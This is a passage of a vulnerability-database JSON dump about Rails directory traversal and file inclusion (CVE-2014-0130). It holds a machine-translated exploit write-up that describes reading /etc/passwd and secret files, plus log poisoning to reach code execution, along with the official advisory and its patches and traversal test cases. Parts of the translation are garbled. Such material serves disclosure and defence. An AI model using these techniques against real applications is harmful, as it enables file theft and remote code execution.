"cvelist": ["CVE-2014-0081"], "modified": "2014-02-20T00:00:00", "id": "UB:CVE-2014-0081", "href": "https://ubuntu.com/security/CVE-2014-0081", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "myhack58": [{"lastseen": "2016-10-31T13:41:59", "edition": 2, "description": "If your application uses a dynamic rendering path, such as render params[:id], and then unfortunately, the application currently by the presence of local file inclusion and lead to remote code execution vulnerabilities, please quickly move your Rails to update to the latest version, or for your controller to be reconstructed. \nIn this article we will demonstrate due to the Ruby on Rails framework defects caused by the attacker in some cases may be remote command execution scene. \nRails Controller design is based on the invoked method implicitly render the view file mode. For example, when the execution controller in the show method, if not explicitly stated to use the rendering mode, the frame will automatically implicitly invoke the show. html. erb file for page rendering. \nHowever, in most cases, developers will be based on the file format, such as text, JSON, XML, or a completely different view of the files to decide to render different content, where said view file is similar to ERB, HTML AND the template language file. \nThere are many methods can be used to influence view of content, here we focus only on the render method. Rails the operation of the document lists several ways to call the render method, including by file: this option to explicitly specify a path to the file. \nIf you've already read the workaround in the document, and http://guides.rubyonrails.org/layouts_and_rendering.html but not sure you need such a function,then I tell you, you're not the only one. \nLet's code: \ndef show \nrender params[:template] \nend \nAt first glance the code is very simple, as you might guess this in the controller method's role is to specify the parameter\u201dtemplate\u201das the value of rendering the template. It is unclear whether the Rails would be from where to find the specified template, it is in the view directory or in the application's root directory or elsewhere? It needs to specify a template name or a specific file name or a complete file path? There are many in this category only by looking at the implementation details to solve the problem. \nRelated description \nDynamic rendering mechanism is a try in the same function to achieve too much function a typical example, and this is where the problem lies. \nAssume that the rendering mechanism the expected behavior is to render the app/views/user/#{params[:template]}file\u2013it seems to be a reasonable idea. If we the dashboard is assigned to the template, will make the application try to load app/views/user/dashboard. {ext}the template here. ext is any of the Ruby allows the extension \u6bd4\u5982 .html and. haml and. html. erb, etc. \n! [](/Article/UploadPic/2016-1/2 0 1 6 1 2 9 1 3 5 9 4 3 3 2 8. png? www. myhack58. com) \nImagine a user the../admin/dashboard assign a value to the parameter template. The expected result is what? It seems very difficult to determine, but when we do so, when you can see the application throws a cannot find template error. \n! [](/Article/UploadPic/2016-1/2 0 1 6 1 2 9 1 3 5 9 4 3 7 0 7. png? www. myhack58. com) \nAnalysis of the error above, you can find applications to try on multiple paths to find used to render content of the view, including the RAILS_ROOT/app/views, RAILS_ROOT, and the file system root directory. This is a bit confusing, why you want to from the system's root directory to look for we need the template file? \nHack instinct prompting we will/etc/passwd assign a value to the parameter template, and then to confirm that we are able to read the passwd file content. At this time I and small partners are shocked. \n! [](/Article/UploadPic/2016-1/2 0 1 6 1 2 9 1 3 5 9 4 3 5 6 5. png? www. myhack58. com) \nIf we are able to read the passwd file content, then we can read your app's source code and configuration file content, such as config/initializers/secrettoken. rb file. \n! [](/Article/UploadPic/2016-1/2 0 1 6 1 2 9 1 3 5 9 4 3 2 4 5. png? www. myhack58. com) \nDon't forget what caused this vulnerability, the fact is because you chose to dynamically set the template path. \ndef show \nrender params[:template] \nend \nSuch a simple little present was enough for the attacker to read our source code and configuration file values, but unfortunately that's not the worst part. \nJust like Jeff Jarmoc of the paper\u201cThe Anatomy of a Rails Vulnerability \u2013 CVE-2 0 1 4-0 1 3 0: From Directory Traversal to Shell,\u201dthe http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf in that, we can use this vulnerability to obtain Rails application shell. Jeff's thesis is mentioned in a similar because of the render mechanism of the problem caused by directory traversal, or more specifically, in some versions of Rails can lead to local file inclusion. In this article we focus on explicit rendering problems, this is a by the developer caused by the vulnerability. \nThe in-depth details before I noted that we need to focus on the vulnerability file contains instead of the directory traversal, the difference is we are loaded, execute the file ERB is different. Generally speaking directory traversal vulnerability will return a non-executable content, such as a CSV file. So, in essence, not only can we read the application source code and other system-readable file, we can also execute Ruby code. Be able to perform Ruby code, this also means that we may to the identity of the server to perform system-level command. \nFrom file contains to code execution, we need to use a call log pollution techniques, and the log file tainting it. The Rails will be in the log file, such as development. log records each request for information, including parameters, etc., and Log File Storage the content is plaintext, so can be incorporated into Ruby code. The attacker can be through a request to the server parameters, together with valid Ruby code, to make these carefully constructed the Ruby code is recorded to a log file. \nIn the following example we are going to[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)initiate a legitimate request, then in the configuration parameters added to the URL encoded value of the following:. \n! [](/Article/UploadPic/2016-1/2 0 1 6 1 2 9 1 3 5 9 4 3 1 9 0. png? www. myhack58. com) \nBy looking at the log we can see that the request parameter values have to be URL decoded into a key-value pair, which is a period if the application calls it will execute the legal Ruby code. \n! [](/Article/UploadPic/2016-1/2 0 1 6 1 2 9 1 3 5 9 4 3 1 4 3. png? www. myhack58. com)\n\n**[1] [[2]](<71511_2.htm>) [next](<71511_2.htm>)**\n", "cvss3": {}, "published": "2016-01-29T00:00:00", "type": "myhack58", "title": "Ruby on Rails remote code execution vulnerability analysis (CVE-2 0 1 6-0 7 5 2)-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2016-01-29T00:00:00", "href": "http://www.myhack58.com/Article/html/3/62/2016/71511.htm", "id": "MYHACK58:62201671511", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}], "attackerkb": [{"lastseen": "2022-05-03T14:49:51", "description": "Directory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails before 3.2.18, 4.0.x before 4.0.5, and 4.1.x before 4.1.1, when certain route globbing configurations are enabled, allows remote attackers to read arbitrary files via a crafted request.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {}, "published": "2014-05-07T00:00:00", "type": "attackerkb", "title": "CVE-2014-0130", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2020-06-05T00:00:00", "id": "AKB:42EC44FF-9FCB-4BED-8EF7-2D927B4B965F", "href": "https://attackerkb.com/topics/RpdRXF4qUH/cve-2014-0130", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:52", "description": "\r\n\r\nThere is a vulnerability in the &#39;implicit render&#39; functionality in Ruby on Rails. This vulnerability has been assigned the CVE identifier CVE-2014-0130.\r\n\r\nVersions Affected: All Supported\r\nNot affected: None\r\nFixed Versions: 4.1.1, 4.0.5, 3.2.18\r\n\r\nImpact\r\n------\r\nThe implicit render functionality allows controllers to render a template, even if there is no explicit action with the corresponding name. This module does not perform adequate input sanitization which could allow an attacker to use a specially crafted request to retrieve arbitrary files from the rails application server.\r\n\r\nIn order to be vulnerable an application must specifically use globbing routes[1] in combination with the :action parameter. The purpose of the route globbing feature is to allow parameters to contain characters which would otherwise be regarded as separators, for example &#39;/&#39; and &#39;.&#39;. As these characters have semantic meaning within template filenames, it is highly unlikely that applications are deliberately combining these functions.\r\n\r\nTo determine if you are vulnerable, search your application&#39;s routes files for &#39;*action&#39; and if you find any, use one of the work arounds below.\r\n\r\nReleases\r\n--------\r\nThe 4.1.1, 4.0.5 and 3.2.18 releases are available at the normal locations.\r\n\r\nWorkarounds\r\n-----------\r\nThe simplest workaround is to simply not use globbing matches for the :action parameter. As action methods cannot contain a &#39;/&#39; character, the simple matching should be sufficient. So replace\r\n\r\n get &#39;my_url/*action&#39;, controller: &#39;asdf&#39;\r\n\r\nwith\r\n\r\n get &#39;my_url/:action&#39;, controller: &#39;asdf&#39;\r\n\r\nIf your application depends on this functionality, you will need to rename the route parameter and add an explicit action:\r\n\r\n get &#39;my_url/*template_path&#39;, controller: &#39;asdf&#39;, action: &#39;display&#39;\r\n\r\nThen add an action which renders explicitly:\r\n\r\n def display\r\n if !params[:template_path].index&#40;&#39;.&#39;&#41;\r\n render file: params[:template_path]\r\n end\r\n end\r\n\r\nNote: The path check in this example may not be suitable for your application, take care\r\n\r\n\r\nPatches \r\n------- \r\nTo aid users who aren&#39;t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset. \r\n\r\n* 4-1-directory_traversal.patch - Patch for 4.1 series\r\n* 4-0-directory_traversal.patch - Patch for 4.0 series\r\n* 3-2-directory_traversal.patch - Patch for 3.2 series\r\n\r\nPlease note that only the 4.1.x, 4.0.x and 3.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\r\n\r\nCredits \r\n------- \r\nThanks to Ville Lautanala of Flowdock for reporting the vulnerability to us, and working with us on a fix.\r\n\r\n[1] http://guides.rubyonrails.org/routing.html#route-globbing-and-wildcard-segments\r\n\r\n\r\n3-2-directory_traversal.patch\r\n\r\nFrom 0f3b7d1a319383f743f9938e1eed00f0fba7a367 Mon Sep 17 00:00:00 2001\r\nFrom: =?UTF-8?q?Rafael=20Mendon=C3=A7a=20Fran=C3=A7a?=\r\n &lt;rafaelmfranca@gmail.com&gt;\r\nDate: Thu, 17 Apr 2014 16:50:39 -0300\r\nSubject: [PATCH] Only accept actions without File::SEPARATOR in the name.\r\n\r\nThis will avoid directory traversal in implicit render.\r\n\r\nFixes: CVE-2014-0130\r\n---\r\n actionpack/lib/abstract_controller/base.rb | 28 +++++++++++++++++++---\r\n .../new_base/render_implicit_action_test.rb | 17 ++++++++++++-\r\n 2 files changed, 41 insertions&#40;+&#41;, 4 deletions&#40;-&#41;\r\n\r\ndiff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb\r\nindex fd6a46f..2541125 100644\r\n--- a/actionpack/lib/abstract_controller/base.rb\r\n+++ b/actionpack/lib/abstract_controller/base.rb\r\n@@ -112,7 +112,7 @@ module AbstractController\r\n def process&#40;action, *args&#41;\r\n @_action_name = action_name = action.to_s\r\n \r\n- unless action_name = method_for_action&#40;action_name&#41;\r\n+ unless action_name = _find_action_name&#40;action_name&#41;\r\n raise ActionNotFound, &quot;The action &#39;#{action}&#39; could not be found for #{self.class.name}&quot;\r\n end\r\n \r\n@@ -138,7 +138,7 @@ module AbstractController\r\n # available action consider actions that are also available\r\n # through other means, for example, implicit render ones.\r\n def available_action?&#40;action_name&#41;\r\n- method_for_action&#40;action_name&#41;.present?\r\n+ _find_action_name&#40;action_name&#41;.present?\r\n end\r\n \r\n private\r\n@@ -182,6 +182,23 @@ module AbstractController\r\n end\r\n \r\n # Takes an action name and returns the name of the method that will\r\n+ # handle the action.\r\n+ #\r\n+ # It checks if the action name is valid and returns false otherwise.\r\n+ #\r\n+ # See method_for_action for more information.\r\n+ #\r\n+ # ==== Parameters\r\n+ # * &lt;tt&gt;action_name&lt;/tt&gt; - An action name to find a method name for\r\n+ #\r\n+ # ==== Returns\r\n+ # * &lt;tt&gt;string&lt;/tt&gt; - The name of the method that handles the action\r\n+ # * false - No valid method name could be found. Raise ActionNotFound.\r\n+ def _find_action_name&#40;action_name&#41;\r\n+ _valid_action_name?&#40;action_name&#41; &amp;&amp; method_for_action&#40;action_name&#41;\r\n+ end\r\n+\r\n+ # Takes an action name and returns the name of the method that will\r\n # handle the action. In normal cases, this method returns the same\r\n # name as it receives. By default, if #method_for_action receives\r\n # a name that is not an action, it will look for an #action_missing\r\n@@ -203,11 +220,16 @@ module AbstractController\r\n #\r\n # ==== Returns\r\n # * &lt;tt&gt;string&lt;/tt&gt; - The name of the method that handles the action\r\n- # * &lt;tt&gt;nil&lt;/tt&gt; - No method name could be found. Raise ActionNotFound.\r\n+ # * &lt;tt&gt;nil&lt;/tt&gt; - No method name could be found.\r\n def method_for_action&#40;action_name&#41;\r\n if action_method?&#40;action_name&#41; then action_name\r\n elsif respond_to?&#40;:action_missing, true&#41; then &quot;_handle_action_missing&quot;\r\n end\r\n end\r\n+\r\n+ # Checks if the action name is valid and returns false otherwise.\r\n+ def _valid_action_name?&#40;action_name&#41;\r\n+ action_name.to_s !~ Regexp.new&#40;File::SEPARATOR&#41;\r\n+ end\r\n end\r\n end\r\ndiff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\nindex 1e2191d..5b4885f 100644\r\n--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n@@ -6,7 +6,7 @@ module RenderImplicitAction\r\n &quot;render_implicit_action/simple/hello_world.html.erb&quot; =&gt; &quot;Hello world!&quot;,\r\n &quot;render_implicit_action/simple/hyphen-ated.html.erb&quot; =&gt; &quot;Hello hyphen-ated!&quot;,\r\n &quot;render_implicit_action/simple/not_implemented.html.erb&quot; =&gt; &quot;Not Implemented&quot;\r\n- &#41;]\r\n+ &#41;, ActionView::FileSystemResolver.new&#40;File.expand_path&#40;&#39;../../../controller&#39;, __FILE__&#41;&#41;]\r\n \r\n def hello_world&#40;&#41; end\r\n end\r\n@@ -33,10 +33,25 @@ module RenderImplicitAction\r\n assert_status 200\r\n end\r\n \r\n+ test &quot;render does not traverse the file system&quot; do\r\n+ assert_raises&#40;AbstractController::ActionNotFound&#41; do\r\n+ action_name = &#37;w&#40;.. .. fixtures shared&#41;.join&#40;File::SEPARATOR&#41;\r\n+ SimpleController.action&#40;action_name&#41;.call&#40;Rack::MockRequest.env_for&#40;&quot;/&quot;&#41;&#41;\r\n+ end\r\n+ end\r\n+\r\n test &quot;available_action? returns true for implicit actions&quot; do\r\n assert SimpleController.new.available_action?&#40;:hello_world&#41;\r\n assert SimpleController.new.available_action?&#40;:&quot;hyphen-ated&quot;&#41;\r\n assert SimpleController.new.available_action?&#40;:not_implemented&#41;\r\n end\r\n+\r\n+ test &quot;available_action? does not allow File::SEPARATOR on the name&quot; do\r\n+ action_name = &#37;w&#40;evil .. .. path&#41;.join&#40;File::SEPARATOR&#41;\r\n+ assert_equal false, SimpleController.new.available_action?&#40;action_name.to_sym&#41;\r\n+\r\n+ action_name = &#37;w&#40;evil path&#41;.join&#40;File::SEPARATOR&#41;\r\n+ assert_equal false, SimpleController.new.available_action?&#40;action_name.to_sym&#41;\r\n+ end\r\n end\r\n end\r\n-- 1.9.1\r\n\r\n\r\n4-0-directory_traversal.patch\r\n\r\nFrom a8ecbfde294a2ec53f034e729d663cb266dc9e62 Mon Sep 17 00:00:00 2001\r\nFrom: =?UTF-8?q?Rafael=20Mendon=C3=A7a=20Fran=C3=A7a?=\r\n &lt;rafaelmfranca@gmail.com&gt;\r\nDate: Thu, 17 Apr 2014 16:50:39 -0300\r\nSubject: [PATCH] Only accept actions without File::SEPARATOR in the name.\r\n\r\nThis will avoid directory traversal in implicit render.\r\n\r\nFixes: CVE-2014-0130\r\n---\r\n actionpack/lib/abstract_controller/base.rb | 28 +++++++++++++++++++---\r\n .../new_base/render_implicit_action_test.rb | 17 ++++++++++++-\r\n 2 files changed, 41 insertions&#40;+&#41;, 4 deletions&#40;-&#41;\r\n\r\ndiff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb\r\nindex af5de81..26f8160 100644\r\n--- a/actionpack/lib/abstract_controller/base.rb\r\n+++ b/actionpack/lib/abstract_controller/base.rb\r\n@@ -127,7 +127,7 @@ module AbstractController\r\n def process&#40;action, *args&#41;\r\n @_action_name = action_name = action.to_s\r\n \r\n- unless action_name = method_for_action&#40;action_name&#41;\r\n+ unless action_name = _find_action_name&#40;action_name&#41;\r\n raise ActionNotFound, &quot;The action &#39;#{action}&#39; could not be found for #{self.class.name}&quot;\r\n end\r\n \r\n@@ -160,7 +160,7 @@ module AbstractController\r\n # ==== Returns\r\n # * &lt;tt&gt;TrueClass&lt;/tt&gt;, &lt;tt&gt;FalseClass&lt;/tt&gt;\r\n def available_action?&#40;action_name&#41;\r\n- method_for_action&#40;action_name&#41;.present?\r\n+ _find_action_name&#40;action_name&#41;.present?\r\n end\r\n \r\n private\r\n@@ -204,6 +204,23 @@ module AbstractController\r\n end\r\n \r\n # Takes an action name and returns the name of the method that will\r\n+ # handle the action.\r\n+ #\r\n+ # It checks if the action name is valid and returns false otherwise.\r\n+ #\r\n+ # See method_for_action for more information.\r\n+ #\r\n+ # ==== Parameters\r\n+ # * &lt;tt&gt;action_name&lt;/tt&gt; - An action name to find a method name for\r\n+ #\r\n+ # ==== Returns\r\n+ # * &lt;tt&gt;string&lt;/tt&gt; - The name of the method that handles the action\r\n+ # * false - No valid method name could be found. Raise ActionNotFound.\r\n+ def _find_action_name&#40;action_name&#41;\r\n+ _valid_action_name?&#40;action_name&#41; &amp;&amp; method_for_action&#40;action_name&#41;\r\n+ end\r\n+\r\n+ # Takes an action name and returns the name of the method that will\r\n # handle the action. In normal cases, this method returns the same\r\n # name as it receives. By default, if #method_for_action receives\r\n # a name that is not an action, it will look for an #action_missing\r\n@@ -225,7 +242,7 @@ module AbstractController\r\n #\r\n # ==== Returns\r\n # * &lt;tt&gt;string&lt;/tt&gt; - The name of the method that handles the action\r\n- # * &lt;tt&gt;nil&lt;/tt&gt; - No method name could be found. Raise ActionNotFound.\r\n+ # * &lt;tt&gt;nil&lt;/tt&gt; - No method name could be found.\r\n def method_for_action&#40;action_name&#41;\r\n if action_method?&#40;action_name&#41;\r\n action_name\r\n@@ -233,5 +250,10 @@ module AbstractController\r\n &quot;_handle_action_missing&quot;\r\n end\r\n end\r\n+\r\n+ # Checks if the action name is valid and returns false otherwise.\r\n+ def _valid_action_name?&#40;action_name&#41;\r\n+ action_name.to_s !~ Regexp.new&#40;File::SEPARATOR&#41;\r\n+ end\r\n end\r\n end\r\ndiff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\nindex 1e2191d..5b4885f 100644\r\n--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n@@ -6,7 +6,7 @@ module RenderImplicitAction\r\n &quot;render_implicit_action/simple/hello_world.html.erb&quot; =&gt; &quot;Hello world!&quot;,\r\n &quot;render_implicit_action/simple/hyphen-ated.html.erb&quot; =&gt; &quot;Hello hyphen-ated!&quot;,\r\n &quot;render_implicit_action/simple/not_implemented.html.erb&quot; =&gt; &quot;Not Implemented&quot;\r\n- &#41;]\r\n+ &#41;, ActionView::FileSystemResolver.new&#40;File.expand_path&#40;&#39;../../../controller&#39;, __FILE__&#41;&#41;]\r\n \r\n def hello_world&#40;&#41; end\r\n end\r\n@@ -33,10 +33,25 @@ module RenderImplicitAction\r\n assert_status 200\r\n end\r\n \r\n+ test &quot;render does not traverse the file system&quot; do\r\n+ assert_raises&#40;AbstractController::ActionNotFound&#41; do\r\n+ action_name = &#37;w&#40;.. .. fixtures shared&#41;.join&#40;File::SEPARATOR&#41;\r\n+ SimpleController.action&#40;action_name&#41;.call&#40;Rack::MockRequest.env_for&#40;&quot;/&quot;&#41;&#41;\r\n+ end\r\n+ end\r\n+\r\n test &quot;available_action? returns true for implicit actions&quot; do\r\n assert SimpleController.new.available_action?&#40;:hello_world&#41;\r\n assert SimpleController.new.available_action?&#40;:&quot;hyphen-ated&quot;&#41;\r\n assert SimpleController.new.available_action?&#40;:not_implemented&#41;\r\n end\r\n+\r\n+ test &quot;available_action? does not allow File::SEPARATOR on the name&quot; do\r\n+ action_name = &#37;w&#40;evil .. .. path&#41;.join&#40;File::SEPARATOR&#41;\r\n+ assert_equal false, SimpleController.new.available_action?&#40;action_name.to_sym&#41;\r\n+\r\n+ action_name = &#37;w&#40;evil path&#41;.join&#40;File::SEPARATOR&#41;\r\n+ assert_equal false, SimpleController.new.available_action?&#40;action_name.to_sym&#41;\r\n+ end\r\n end\r\n end\r\n-- 1.9.1\r\n\r\n\r\n4-1-directory_traversal.patch\r\n\r\nFrom 529720df0193991c66350154e8bed5a59dbaacfe Mon Sep 17 00:00:00 2001\r\nFrom: =?UTF-8?q?Rafael=20Mendon=C3=A7a=20Fran=C3=A7a?=\r\n &lt;rafaelmfranca@gmail.com&gt;\r\nDate: Thu, 17 Apr 2014 16:50:39 -0300\r\nSubject: [PATCH] Only accept actions without File::SEPARATOR in the name.\r\n\r\nThis will avoid directory traversal in implicit render.\r\n\r\nFixes: CVE-2014-0130\r\n---\r\n actionpack/lib/abstract_controller/base.rb | 28 +++++++++++++++++++---\r\n .../new_base/render_implicit_action_test.rb | 17 ++++++++++++-\r\n 2 files changed, 41 insertions&#40;+&#41;, 4 deletions&#40;-&#41;\r\n\r\ndiff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb\r\nindex af5de81..26f8160 100644\r\n--- a/actionpack/lib/abstract_controller/base.rb\r\n+++ b/actionpack/lib/abstract_controller/base.rb\r\n@@ -127,7 +127,7 @@ module AbstractController\r\n def process&#40;action, *args&#41;\r\n @_action_name = action_name = action.to_s\r\n \r\n- unless action_name = method_for_action&#40;action_name&#41;\r\n+ unless action_name = _find_action_name&#40;action_name&#41;\r\n raise ActionNotFound, &quot;The action &#39;#{action}&#39; could not be found for #{self.class.name}&quot;\r\n end\r\n \r\n@@ -160,7 +160,7 @@ module AbstractController\r\n # ==== Returns\r\n # * &lt;tt&gt;TrueClass&lt;/tt&gt;, &lt;tt&gt;FalseClass&lt;/tt&gt;\r\n def available_action?&#40;action_name&#41;\r\n- method_for_action&#40;action_name&#41;.present?\r\n+ _find_action_name&#40;action_name&#41;.present?\r\n end\r\n \r\n private\r\n@@ -204,6 +204,23 @@ module AbstractController\r\n end\r\n \r\n # Takes an action name and returns the name of the method that will\r\n+ # handle the action.\r\n+ #\r\n+ # It checks if the action name is valid and returns false otherwise.\r\n+ #\r\n+ # See method_for_action for more information.\r\n+ #\r\n+ # ==== Parameters\r\n+ # * &lt;tt&gt;action_name&lt;/tt&gt; - An action name to find a method name for\r\n+ #\r\n+ # ==== Returns\r\n+ # * &lt;tt&gt;string&lt;/tt&gt; - The name of the method that handles the action\r\n+ # * false - No valid method name could be found. Raise ActionNotFound.\r\n+ def _find_action_name&#40;action_name&#41;\r\n+ _valid_action_name?&#40;action_name&#41; &amp;&amp; method_for_action&#40;action_name&#41;\r\n+ end\r\n+\r\n+ # Takes an action name and returns the name of the method that will\r\n # handle the action. In normal cases, this method returns the same\r\n # name as it receives. By default, if #method_for_action receives\r\n # a name that is not an action, it will look for an #action_missing\r\n@@ -225,7 +242,7 @@ module AbstractController\r\n #\r\n # ==== Returns\r\n # * &lt;tt&gt;string&lt;/tt&gt; - The name of the method that handles the action\r\n- # * &lt;tt&gt;nil&lt;/tt&gt; - No method name could be found. Raise ActionNotFound.\r\n+ # * &lt;tt&gt;nil&lt;/tt&gt; - No method name could be found.\r\n def method_for_action&#40;action_name&#41;\r\n if action_method?&#40;action_name&#41;\r\n action_name\r\n@@ -233,5 +250,10 @@ module AbstractController\r\n &quot;_handle_action_missing&quot;\r\n end\r\n end\r\n+\r\n+ # Checks if the action name is valid and returns false otherwise.\r\n+ def _valid_action_name?&#40;action_name&#41;\r\n+ action_name.to_s !~ Regexp.new&#40;File::SEPARATOR&#41;\r\n+ end\r\n end\r\n end\r\ndiff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\nindex 1e2191d..5b4885f 100644\r\n--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n@@ -6,7 +6,7 @@ module RenderImplicitAction\r\n &quot;render_implicit_action/simple/hello_world.html.erb&quot; =&gt; &quot;Hello world!&quot;,\r\n &quot;render_implicit_action/simple/hyphen-ated.html.erb&quot; =&gt; &quot;Hello hyphen-ated!&quot;,\r\n &quot;render_implicit_action/simple/not_implemented.html.erb&quot; =&gt; &quot;Not Implemented&quot;\r\n- &#41;]\r\n+ &#41;, ActionView::FileSystemResolver.new&#40;File.expand_path&#40;&#39;../../../controller&#39;, __FILE__&#41;&#41;]\r\n \r\n def hello_world&#40;&#41; end\r\n end\r\n@@ -33,10 +33,25 @@ module RenderImplicitAction\r\n assert_status 200\r\n end\r\n \r\n+ test &quot;render does not traverse the file system&quot; do\r\n+ assert_raises&#40;AbstractController::ActionNotFound&#41; do\r\n+ action_name = &#37;w&#40;.. .. fixtures shared&#41;.join&#40;File::SEPARATOR&#41;\r\n+ SimpleController.action&#40;action_name&#41;.call&#40;Rack::MockRequest.env_for&#40;&quot;/&quot;&#41;&#41;\r\n+ end\r\n+ end\r\n+\r\n test &quot;available_action? returns true for implicit actions&quot; do\r\n assert SimpleController.new.available_action?&#40;:hello_world&#41;\r\n assert SimpleController.new.available_action?&#40;:&quot;hyphen-ated&quot;&#41;\r\n assert SimpleController.new.available_action?&#40;:not_implemented&#41;\r\n end\r\n+\r\n+ test &quot;available_action? does not allow File::SEPARATOR on the name&quot; do\r\n+ action_name = &#37;w&#40;evil .. .. path&#41;.join&#40;File::SEPARATOR&#41;\r\n+ assert_equal false, SimpleController.new.available_action?&#40;action_name.to_sym&#41;\r\n+\r\n+ action_name = &#37;w&#40;evil path&#41;.join&#40;File::SEPARATOR&#41;\r\n+ assert_equal false, SimpleController.new.available_action?&#40;action_name.to_sym&#41;\r\n+ end\r\n end\r\n end\r\n-- 1.9.1\r\n\r\n", "edition": 1, "cvss3": {}, "published": "2014-05-10T00:00:00", "title": "[oss-security] [CVE-2014-0130] Directory Traversal Vulnerability With Certain Route Configurations", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2014-0130"], "modified": "2014-05-10T00:00:00", "id": "SECURITYVULNS:DOC:30717", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:30717", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}, {"lastseen": "2021-06-08T18:49:20", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "edition": 2, "cvss3": {}, "published": "2014-05-10T00:00:00", "title": "Web applications security vulnerabilities summary &#40;PHP, ASP, JSP, CGI, Perl&#41;", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2014-3430", "CVE-2014-2989", "CVE-2014-3243", "CVE-2014-2301", "CVE-2014-0130", "CVE-2014-3242", "CVE-2014-2665", "CVE-2014-2689", "CVE-2014-3146", "CVE-2014-3225"], "modified": "2014-05-10T00:00:00", "id": "SECURITYVULNS:VULN:13764", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13764", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2021-06-08T18:45:19", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "edition": 2, "cvss3": {}, "published": "2014-06-14T00:00:00", "title": "Web applications security vulnerabilities summary &#40;PHP, ASP, JSP, CGI, Perl&#41;", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2014-3946", "CVE-2014-3781", "CVE-2014-2575", "CVE-2014-3945", "CVE-2014-2987", "CVE-2014-2303", "CVE-2014-3414", "CVE-2014-3947", "CVE-2014-2554", "CVE-2014-3948", "CVE-2014-3944", "CVE-2014-3137", "CVE-2014-3740", "CVE-2013-2251", "CVE-2014-3877", "CVE-2014-3446", "CVE-2014-3943", "CVE-2014-3941", "CVE-2014-3210", "CVE-2014-1402", "CVE-2014-0228", "CVE-2014-3415", "CVE-2014-0130", "CVE-2014-2577", "CVE-2014-3875", "CVE-2014-3942", "CVE-2014-3783", "CVE-2013-7106", "CVE-2014-2233", "CVE-2014-2843", "CVE-2014-3447", "CVE-2013-7107", "CVE-2014-3749", "CVE-2014-0081", "CVE-2014-2232", "CVE-2014-1855", "CVE-2014-1878", "CVE-2014-2302", "CVE-2014-0082", "CVE-2014-3876", "CVE-2014-2553", "CVE-2014-3782", "CVE-2014-2386", "CVE-2014-3966", "CVE-2013-5954", "CVE-2014-0107", "CVE-2014-3448", "CVE-2013-7108", "CVE-2014-2988", "CVE-2014-3445", "CVE-2014-3949"], "modified": "2014-06-14T00:00:00", "id": "SECURITYVULNS:VULN:13836", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13836", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "seebug": [{"lastseen": "2017-11-19T11:57:52", "description": "Impact\r\n------\r\nThe implicit render functionality allows controllers to render a template, even if there is no explicit action with the corresponding name. This module does not perform adequate input sanitization which could allow an attacker to use a specially crafted request to retrieve 